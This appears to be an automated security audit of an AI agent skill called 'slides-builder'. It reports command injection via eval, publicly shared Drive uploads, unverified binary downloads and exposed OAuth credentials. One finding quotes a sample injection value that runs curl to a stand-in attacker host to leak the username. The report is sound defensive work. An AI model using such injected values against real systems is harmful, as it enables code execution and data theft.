slides-builder
Fail
Audited by Gen Agent Trust Hub on Jun 17, 2026
Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATIONEXTERNAL_DOWNLOADSCREDENTIALS_UNSAFE
Full Analysis
- [COMMAND_EXECUTION]: Arbitrary command injection via shell evaluation. In
checklists/pre-flight.mdandprotocols/recipe-insert-image.md, the skill executeseval echoon thelocal_pathvariable supplied in the user'sslide-plan.json. A malicious input containing shell metacharacters (e.g.,~/; curl attacker.com/$(whoami) #) would result in arbitrary code execution on the host machine. - [DATA_EXFILTRATION]: Public exposure of local file content. To satisfy Google Slides API requirements,
protocols/recipe-insert-image.mduploads local images to Google Drive and programmatically grantsanyoneWithLinkreader permissions. This behavior makes potentially sensitive local data publicly accessible on the internet. - [EXTERNAL_DOWNLOADS]: Execution of unverifiable external binaries. The skill's pre-flight checklist and setup documentation indicate that it relies on
gwsandjqbinaries downloaded to~/.cache/gws-toolkit/bin/. Documentation inSKILL.mdexplicitly states that SHA-256 integrity verification for these downloads has been retired, posing a supply chain risk. - [CREDENTIALS_UNSAFE]: Access and management of sensitive credentials. The skill interacts with Google OAuth tokens and environment variables stored in
~/.config/gws/env.shand~/.config/gws/keyring-file.json. These secrets are at risk of exposure, especially when combined with the identified command injection vulnerability.
Recommendations
- AI detected serious security threats
Audit Metadata